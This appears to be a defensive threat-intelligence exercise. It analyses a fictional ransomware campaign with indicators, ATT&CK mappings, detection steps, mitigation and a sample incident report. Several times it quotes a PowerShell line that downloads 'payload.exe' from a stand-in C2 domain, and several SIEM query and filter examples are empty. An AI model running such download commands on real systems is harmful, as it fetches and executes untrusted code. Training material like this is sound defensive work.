Practical Exercise on threat intelligence
Let's dive into another Practical Exercise focused on threat intelligence utilization and detection. This one will simulate an analysis of a campaign by a ransomware threat actor.
Scenario: Ransomware Campaign Detected
A report from a trusted threat intelligence source reveals that a ransomware group known as "BlackSpider" has been conducting attacks on financial organizations. The attackers use phishing emails to deliver a malicious Excel file, which downloads ransomware. The ransomware encrypts files and demands Bitcoin payment.
Threat Report Details
Executive Summary:
BlackSpider is targeting financial institutions through phishing campaigns.
Malicious Excel files contain macros that download a payload, encrypt files, and exfiltrate sensitive data.
The ransomware communicates with its command-and-control (C2) servers for key exchange.
Indicators of Compromise (IOCs):
Malicious Domains:
malicious-excel-c2.net
ransom-payload-c2.io
File Hashes:
MD5:
8e35f4b5b1f4e723fe7c8bb67f29ec3a
SHA256:
ab43a1b3e4d8cd94f71280e6ef6a248bcd0b25e923e77fc60b54d52b12045a38
PowerShell Commands:
Invoke-WebRequest -Uri http://malicious-excel-c2.net/payload.exe
Malware Executable Name:
ransomware_payload.exe
Bitcoin Wallet Address:
1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
TTPs (Mapped to MITRE ATT&CK):
Initial Access: Phishing email with malicious Excel attachment (T1566.001).
Execution: Macro executes PowerShell to download the payload (T1059.001).
Persistence: Scheduled tasks to execute the ransomware at system startup (T1053.005).
Impact: Encrypting files and displaying a ransom note (T1486).
Detection Recommendations:
Monitor network traffic for connections to
malicious-excel-c2.net
.Detect PowerShell commands that include suspicious
Invoke-WebRequest
activity.Search endpoints for the malware hash and executable name.
Exercise: Simulated Detection and Analysis
Step 1: Extract Key IOCs
Domains:
malicious-excel-c2.net
ransom-payload-c2.io
File Hashes:
8e35f4b5b1f4e723fe7c8bb67f29ec3a
ab43a1b3e4d8cd94f71280e6ef6a248bcd0b25e923e77fc60b54d52b12045a38
Commands:
Invoke-WebRequest -Uri http://malicious-excel-c2.net/payload.exe
Persistence Mechanism:
Check scheduled tasks created by
ransomware_payload.exe
.
Step 2: Analyze Logs Using SIEM Queries
Search for Malicious Domains:
Look for File Hashes in Endpoint Logs:
Detect PowerShell Commands:
Investigate Scheduled Tasks:
Step 3: Network Analysis
Using tools like Wireshark or Zeek, inspect for:
Outbound Connections:
Check for HTTP/HTTPS connections to
malicious-excel-c2.net
.Example Wireshark filter:
Data Exfiltration:
Look for abnormal file uploads to
ransom-payload-c2.io
.Example Zeek script:
Step 4: Endpoint Analysis
Using an endpoint detection tool (e.g., CrowdStrike, Microsoft Defender):
Search for
ransomware_payload.exe
in process and file activity logs.Investigate registry modifications for persistence:
Example registry path:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
.Use Windows Event ID
4657
to track registry changes.
Step 5: Mitigation Steps
Containment:
Block
malicious-excel-c2.net
andransom-payload-c2.io
on your firewall and proxy.Quarantine endpoints where
ransomware_payload.exe
is detected.
Prevention:
Disable macros in Excel by default across the organization.
Implement PowerShell script restrictions using Group Policy.
Remediation:
Remove persistence mechanisms (e.g., scheduled tasks, registry keys).
Restore files from backups if ransomware encryption is detected.
Step 6: Create an Incident Report
Summary of Attack:
Describe the ransomware campaign and how it was delivered.
Findings:
List infected systems, identified IOCs, and suspicious activities.
Actions Taken:
Explain containment, eradication, and remediation steps.
Recommendations:
Suggest measures to strengthen defenses (e.g., phishing awareness, endpoint monitoring).
---
Let’s start with writing a simulated SIEM query, crafting a mitigation plan, and creating a detailed incident report for the scenario.
1. SIEM Query Examples
a. Network Traffic Analysis
Objective: Detect any communication with malicious domains.
Query:
Explanation: This query searches for traffic to the malicious domains and provides the source IPs, destination IPs, domains, and timestamps for each occurrence.
b. Endpoint File Hash Detection
Objective: Identify endpoints where malicious files have been detected.
Query:
Explanation: This checks endpoint logs for the ransomware file hashes and lists the hosts, file paths, and timestamps where they were detected.
c. PowerShell Command Detection
Objective: Find suspicious PowerShell commands used to download ransomware.
Query:
Explanation: This detects PowerShell commands containing the Invoke-WebRequest
function and logs the details of the affected hosts and users.
d. Scheduled Task Persistence Detection
Objective: Identify the creation of malicious scheduled tasks.
Query:
Explanation: Monitors for Event ID 4698, which logs the creation of new scheduled tasks, focusing on the ransomware’s persistence mechanism.
2. Mitigation Plan
a. Containment
Block Malicious Domains:
Add
malicious-excel-c2.net
andransom-payload-c2.io
to the firewall or proxy blocklist.
Isolate Infected Hosts:
Disconnect any endpoints showing evidence of the ransomware.
Disable Macros Organization-Wide:
Use Group Policy to disable macros in Microsoft Office documents.
b. Remediation
Remove Malicious Files:
Use EDR tools to delete
ransomware_payload.exe
from all infected endpoints.
Eliminate Persistence Mechanisms:
Delete any malicious scheduled tasks or registry entries.
Remove registry key:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ransomware_payload.exe
.
Restore Encrypted Files:
Recover data from known good backups.
c. Prevention
Email Security:
Enable attachment scanning for phishing emails.
Train users to recognize phishing attempts.
Endpoint Security:
Deploy advanced EDR solutions for proactive monitoring.
Restrict PowerShell Usage:
Enforce PowerShell Constrained Language Mode.
Monitor for unauthorized script executions.
3. Incident Report
Subject: Incident Report - BlackSpider Ransomware Campaign
Incident Summary:
On [date], a ransomware campaign by the threat actor group BlackSpider was identified targeting our organization. The ransomware was distributed via phishing emails containing malicious Excel attachments. The payload encrypted files and exfiltrated data to command-and-control servers.
Findings:
Affected Systems:
Host:
Finance-PC-01
Host:
Admin-Laptop
Indicators of Compromise:
Malicious domains:
malicious-excel-c2.net
,ransom-payload-c2.io
File hashes:
8e35f4b5b1f4e723fe7c8bb67f29ec3a
,ab43a1b3e4d8cd94f71280e6ef6a248bcd0b25e923e77fc60b54d52b12045a38
PowerShell commands:
Invoke-WebRequest -Uri http://malicious-excel-c2.net/payload.exe
Scheduled task:
ransomware_payload.exe
Actions Taken:
Containment:
Blocked malicious domains on firewalls and proxies.
Isolated affected endpoints.
Remediation:
Removed malicious files from infected hosts.
Deleted registry entries and scheduled tasks used for persistence.
Restored encrypted files from backups.
Preventive Measures:
Disabled macros across the organization.
Enabled PowerShell script logging.
Conducted phishing awareness training for employees.
Recommendations:
Enhance email security by implementing sandboxing for attachments.
Monitor for PowerShell activity using logging and SIEM queries.
Regularly update antivirus and endpoint security solutions.
Review and update incident response playbooks for ransomware attacks.
Last updated